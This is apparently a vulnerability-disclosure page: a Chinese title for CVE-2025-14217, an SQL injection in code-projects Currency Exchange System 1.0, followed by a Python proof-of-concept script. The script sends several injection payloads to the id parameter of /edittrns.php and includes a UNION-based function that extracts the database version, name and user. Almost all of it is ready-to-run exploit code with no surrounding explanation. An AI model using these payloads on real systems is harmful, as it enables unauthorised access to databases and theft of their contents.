CVE-2025-14217 code-projects Currency Exchange System 1.0 SQL注入漏洞

import requests # CVE-2025-14217 SQL Injection PoC for Currency Exchange System 1.0 # Target: /edittrns.php?id=[SQL Injection Payload] TARGET_URL = "http://target.com/edittrns.php" def sql_injection_test(target_url, param_id): """ Test for SQL injection vulnerability in ID parameter """ # Basic SQL injection test payloads payloads = [ "1' OR '1'='1", "1' UNION SELECT 1,2,3,4,5-- -", "1' AND 1=1-- -", "1' AND 1=2-- -", "1' SLEEP(5)-- -" ] for payload in payloads: params = {"id": payload} try: response = requests.get(target_url, params=params, timeout=10) print(f"Payload: {payload}") print(f"Status: {response.status_code}") print(f"Response Length: {len(response.text)}") print("-" * 50) except requests.exceptions.RequestException as e: print(f"Request failed: {e}") def extract_database_info(target_url): """ Extract database information using UNION-based injection """ # Database enumeration payload union_payload = "1' UNION SELECT 1,version(),database(),user(),5-- -" params = {"id": union_payload} try: response = requests.get(target_url, params=params, timeout=10) if response.status_code == 200: print("Database info extraction successful") print(response.text[:500]) except requests.exceptions.RequestException as e: print(f"Request failed: {e}") if __name__ == "__main__": print("CVE-2025-14217 SQL Injection PoC") sql_injection_test(TARGET_URL, "id")